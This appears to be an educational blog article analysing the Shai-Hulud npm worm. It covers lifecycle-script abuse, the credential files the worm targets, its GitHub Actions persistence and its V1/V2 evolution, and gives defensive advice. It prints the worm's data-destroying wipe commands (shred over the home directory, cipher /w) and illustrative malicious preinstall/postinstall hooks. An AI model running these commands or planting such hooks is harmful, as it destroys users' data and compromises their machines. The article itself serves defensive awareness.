Understanding the Shai-Hulud Malware Worm: When npm install Becomes a Backdoor

Introduction: Welcome to the Era of Supply Chain Attacks

In Frank Herbert’s universe, Shai-Hulud is the name given to the giant sandworms of planet Arrakis, legendary creatures that devour everything in their path. In 2025, this name took on a disturbing new meaning in the world of cybersecurity: that of a sophisticated malicious worm that devours not sand, but sensitive data in the JavaScript ecosystem.

The Shai-Hulud worm represents an alarming evolution of software supply chain attacks. Its diabolical genius? Transforming the npm install command, a daily and trusted gesture for millions of developers, into a direct gateway for malicious code execution. Between September and November 2025, this malware infected over 700 npm packages, compromised 27,000+ GitHub repositories, and exposed approximately 14,000 secrets across 487 organizations.

This technical article details how Shai-Hulud operates, analyzes its evolution from V1 to V2, and explains why every JavaScript developer must understand this threat to protect their projects and organization.

1. What is the Shai-Hulud Worm?

1.1 Definition and Objectives

Shai-Hulud is a sophisticated software supply chain attack that specifically targets the JavaScript ecosystem via the npm package registry. Its primary objectives are multiple:

1. High-value credential theft: npm tokens, GitHub Personal Access Tokens (PAT), AWS/GCP/Azure keys
2. Private source code exfiltration: access to private repositories for intellectual property theft
3. Establishing persistence: installing backdoors for long-term control
4. Exponential propagation: self-replication across the npm ecosystem

The name “Shai-Hulud” comes from a GitHub repository used by the attackers, a direct reference to the Dune universe that perfectly illustrates the devastating and omnipresent nature of this threat.

1.2 The Attack Vector: npm install as RCE

The danger of Shai-Hulud lies in its exploitation of a legitimate npm feature: lifecycle scripts. These scripts (preinstall, postinstall, preuninstall, etc.) execute automatically during package installation, without user interaction and with the privileges of the user running the command.

This characteristic transforms npm install into an indirect but powerful Remote Code Execution (RCE) vector. Unlike a classic software vulnerability that requires an exploit, here the package manager itself voluntarily executes the malicious code.

2. The Infection Chain: Anatomy of a 4-Step Attack

The Shai-Hulud worm follows a clear and automated process to infect systems and propagate through the ecosystem. Understanding this infection chain is essential to identify defense points.

2.1 Step 1: The Hook - npm Account Compromise

The attack begins when an attacker compromises a legitimate developer’s npm account. This compromise can occur via:

• Credential stuffing: use of reused passwords
• Phishing: fraudulent emails targeting popular package maintainers
• Development machine exploitation: theft of tokens stored locally in ~/.npmrc
• CI/CD compromise: access to pipelines containing npm tokens

Once access is obtained, the attacker can publish modified versions of legitimate packages on the public npm registry.

2.2 Step 2: The Trigger - Automatic Installation

When a developer or build system installs the infected package (directly or as a transitive dependency), the malicious script executes automatically.

Shai-Hulud V1 used a postinstall script (executed after package installation):

<span class="p">{</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"postinstall"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node malicious.js"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span>

Shai-Hulud V2 evolved to preinstall (executed before installation even completes), making detection more difficult since execution occurs even if installation subsequently fails:

<span class="p">{</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"preinstall"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bun run malicious.ts"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span>

The use of Bun (a JavaScript runtime alternative to Node.js) in V2 was a deliberate attempt to bypass security tools configured specifically to detect suspicious Node.js behaviors.

2.3 Step 3: The Theft - Secret Harvesting

Once executed, the malicious script launches a sophisticated reconnaissance and exfiltration operation. It uses tools like TruffleHog (an open-source secret scanner ironically repurposed for malicious purposes) to scan the system for sensitive data.

Priority targets:

1. Configuration files
   • ~/.npmrc (npm tokens)
   • ~/.gitconfig (Git configuration)
   • ~/.aws/credentials (AWS keys)
   • ~/.ssh/ (private SSH keys)
   • .env (environment variables)
2. Environment variables
   • NPM_TOKEN, GITHUB_TOKEN, AWS_ACCESS_KEY_ID
   • All variables containing “KEY”, “SECRET”, “TOKEN”, “PASSWORD”
3. Local Git repositories
   • Git history scanned for hardcoded secrets
   • In V1, some private repositories were made public to facilitate exfiltration

Exfiltration methods:

• V1: External webhook (easily detectable and blockable)
• V2: Use of GitHub API to disguise malicious traffic as legitimate activity (“cross-victim exfiltration”)

2.4 Step 4: Propagation - Exponential Self-Replication

The self-replication capability of Shai-Hulud is what distinguishes it from a simple data theft malware. Once it has stolen a valid npm token, the worm:

1. Queries the npm registry to identify all packages maintained by the compromised account
2. Clones each package locally
3. Injects the malicious payload into each package
4. Increments the version (e.g., 1.0.2 → 1.0.3) to avoid conflicts
5. Automatically publishes the infected versions on npm

This process creates an exponential chain reaction: each infected developer becomes a new attack vector, propagating the malware to their own packages, which in turn infect their users.

Propagation impact:

• ~200 infected packages in V1 (September 2025)
• 700+ infected packages in V2 (November 2025)
• 27,000+ compromised GitHub repositories
• ~14,000 exposed secrets across 487 organizations

3. Why is Shai-Hulud So Dangerous?

3.1 Theft of “Keys to the Kingdom”

The tokens and keys stolen by Shai-Hulud are not simple passwords. They are programmatic access keys that grant direct control over:

• Cloud infrastructures: ability to deploy AWS/GCP/Azure resources at the victim’s expense
• Private source code: access to private GitHub repositories containing intellectual property
• CI/CD pipelines: capability to inject malicious code into production builds
• Package registries: publishing malicious versions of legitimate packages

A single compromised token can grant access to dozens of critical systems.

3.2 Chain Propagation and Network Effect

The self-replicating nature of Shai-Hulud exploits the network effect of the npm ecosystem:

• npm has over 2.5 million packages
• Each package has on average 10+ dependencies
• A single popular package can have millions of downloads per week

This interconnection means that a single compromised package can reach thousands of projects within hours, and tens of thousands within days.

3.3 Persistence via GitHub Actions Backdoor

Shai-Hulud V2 introduced a sophisticated persistence technique that survives even system disinfection:

1. Registration of a self-hosted GitHub Actions runner
   • Runner name: SHA1HULUD
   • Runs as a system service
   • Survives reboots
2. Injection of a malicious workflow
   • File: .github/workflows/discussion.yaml
   • Triggered by GitHub events (issues, discussions)
   • Allows remote arbitrary command execution
3. Bidirectional communication
   • Attackers can send commands via GitHub API
   • The runner executes these commands and returns results
   • All traffic appears as legitimate GitHub activity

This approach transforms the compromised machine into a permanent zombie under attacker control, even after removal of the malicious package.

3.4 The Dead Man’s Switch

The most disturbing feature of Shai-Hulud V2 is its destructive retaliation mechanism. If the malware fails to authenticate with GitHub or npm (indicating possible detection and token revocation), it activates a self-destruction process:

On Linux/macOS:

find ~ <span class="nt">-type</span> f <span class="nt">-exec</span> <span class="nb">shred</span> <span class="nt">-vfz</span> <span class="nt">-n</span> 10 <span class="o">{}</span> <span class="se">\;</span>

On Windows:

cipher /w:%USERPROFILE%

These commands perform irreversible erasure of the user’s home directory:

• shred overwrites files 10 times with random data
• cipher /w performs secure erasure of free space

Consequences:

• Total loss of unsaved data
• Destruction of local source code
• Erasure of configuration files
• Impossibility of forensic recovery

This mechanism transforms simple detection into an existential risk for user data, potentially deterring cleanup attempts.

4. The Evolution of the Threat: V1 vs V2

Shai-Hulud V2, detected in November 2025, demonstrates significant tactical evolution. Comparative analysis reveals that attackers methodically corrected V1 weaknesses to create a more stealthy, more destructive, and harder-to-eradicate malware.

4.1 Capability Comparison Table

Capability Shai-Hulud V1 (Sept. 2025) Shai-Hulud V2 (Nov. 2025) Trigger postinstall (after installation) preinstall (before installation, even if it fails) Runtime Node.js (standard) Bun (less common, detection bypass) Exfiltration method External webhook (easily blocked) GitHub API (legitimate traffic) Exfiltration strategy On victim’s account Cross-victim (A’s data on B’s account) Persistence None GitHub Actions backdoor (self-hosted runner) Failure behavior None Dead Man’s Switch (data erasure) Scale ~200 npm packages 700+ npm packages GitHub impact Make private repos public 27,000+ compromised repositories Exposed secrets Not quantified ~14,000 secrets across 487 organizations Detection Relatively simple (suspicious webhook) Complex (legitimate GitHub traffic) ### 4.2 Analysis of Tactical Improvements

4.2.1 From postinstall to preinstall

The shift from postinstall to preinstall has several advantages for the attacker:

• Earlier execution: code runs before installation is even complete
• Survival on failure: even if installation fails (missing dependency, conflict), the malware has already executed
• Reduced detection window: less time for security tools to analyze the package before execution

4.2.2 From Node.js to Bun

Using Bun as runtime is a sandbox evasion technique:

• Most npm security tools (Socket.dev, Snyk, etc.) are calibrated to monitor Node.js processes
• Bun, being a newer and less widespread runtime, isn’t always covered by detection rules
• Suspicious behaviors under Bun may go unnoticed while they would have been flagged under Node.js

4.2.3 Cross-Victim Exfiltration

Cross-victim exfiltration is a sophisticated anti-forensic technique:

Traditional scheme (V1):

Victim A → [Stolen secrets] → GitHub account of A → Attacker

→ Direct trace: A’s secrets appear on A’s account

Cross-victim scheme (V2):

Victim A → [Stolen secrets] → GitHub account of B → Attacker
Victim B → [Stolen secrets] → GitHub account of C → Attacker

→ Trail obfuscation: A’s secrets appear on B’s account, making investigation more complex

This technique breaks the traceability chain and considerably complicates attribution and remediation.

5. Key Concepts for Developers to Remember

5.1 npm install is a Code Execution Command

Fundamental principle: npm install doesn’t just download files, it executes code on your machine with your privileges.

Practical implications:

• Treat npm install with the same caution as curl | bash
• Never run npm install as root/admin
• Verify packages before installation (maintainer history, recent activity, unusual size)
• Use isolated environments (containers, VMs) to test new packages

Security checklist before npm install:

<span class="c"># 1. Check package reputation</span>
npm info <package-name>

<span class="c"># 2. Examine package.json content (especially scripts)</span>
npm view <package-name> scripts

<span class="c"># 3. Check dependencies</span>
npm view <package-name> dependencies

<span class="c"># 4. Search for security reports</span>
npm audit

5.2 Tokens are Very High-Value Targets

Reality: A compromised npm or GitHub token is potentially worth millions of dollars to an attacker.

Why?

• Access to production infrastructure
• Ability to publish backdoors in popular packages
• Intellectual property theft
• Use for large-scale supply chain attacks

Token management best practices:

1. Principle of least privilege
   • Create tokens with minimal required permissions
   • Separate tokens for npm, GitHub, cloud providers
   • Time-limited tokens (automatic expiration)
2. Regular rotation
   • Monthly rotation of production tokens
   • Immediate rotation on suspicion of compromise
3. Secure storage
   • Never plaintext tokens in source code
   • Use secret managers (Vault, AWS Secrets Manager)
   • Environment variables for local environments
4. Monitoring
   • Token usage logs (who, when, from where)
   • Alerts on unusual usage (abnormal geolocation, high volume)

5.3 Supply Chain Security is Everyone’s Responsibility

Myth to deconstruct: “I’m a junior, security is for seniors/DevOps.”

Reality: Every developer is a link in the security chain. A single mistake (installing a malicious package, committing a token) can compromise the entire organization.

Concrete actions for all developers:

1. Basic hygiene
   • Enable 2FA on npm, GitHub, and all critical services
   • Never commit secrets (use .gitignore, git-secrets)
   • Keep dependencies up to date (security patches)
2. Vigilance
   • Be suspicious of packages with few downloads or unknown maintainer
   • Check maintainer changes on established packages
   • Report any suspicious behavior (package requesting unusual permissions)
3. Security tools
   • Use npm audit regularly
   • Integrate Socket.dev or Snyk into workflow
   • Configure Dependabot/Renovate for automatic updates
4. Security culture
   • Share security alerts with the team
   • Participate in awareness training
   • Contribute to internal best practices documentation

Conclusion: Security in the Age of Self-Replication

The Shai-Hulud worm marks a turning point in the history of supply chain threats. It is not simply a sophisticated malware; it’s a demonstration of the fundamental fragility of our modern development ecosystem. The implicit trust we place in npm install and the thousands of dependencies we import daily is now an exploitable attack surface at scale.

Lessons from Shai-Hulud:

1. Automatic code execution is an existential risk: npm lifecycle scripts are a legitimate feature turned weapon of mass destruction. The ecosystem must rethink this model.
2. Self-replication changes the game: Malware that automatically propagates through dependencies reaches a speed and scale that exceeds human response capabilities.
3. Persistence redefines remediation: Cleaning a malicious package is no longer enough if a GitHub Actions backdoor survives on the system.
4. Destructive retaliation deters investigation: The “dead man’s switch” introduces an ethical and operational dilemma for security teams.

Future perspectives:

The industry is responding with initiatives such as:

• npm provenance: cryptographic attestation of package origin
• Socket.dev: real-time behavioral analysis of packages
• GitHub Actions hardening: restrictions on self-hosted runners
• AI Act (EU): traceability obligations for critical systems

But the ultimate solution lies in education and collective vigilance. Every developer who understands Shai-Hulud becomes a human detector, capable of spotting weak signals of a compromise before it transforms into catastrophe.

The question is no longer “if” but “when” the next variant of Shai-Hulud will emerge. Our collective ability to detect, analyze, and respond to these threats will determine the resilience of the open-source ecosystem for years to come.

Resources for further reading:

• Socket.dev Blog: Detailed technical analyses of Shai-Hulud V1 and V2 campaigns
• npm Security Best Practices: Official npm guide to secure your workflow
• OWASP Top 10 CI/CD Security Risks: Specific risks to CI/CD pipelines
• TruffleHog Documentation: Understanding secret detection tools (and how they’re repurposed)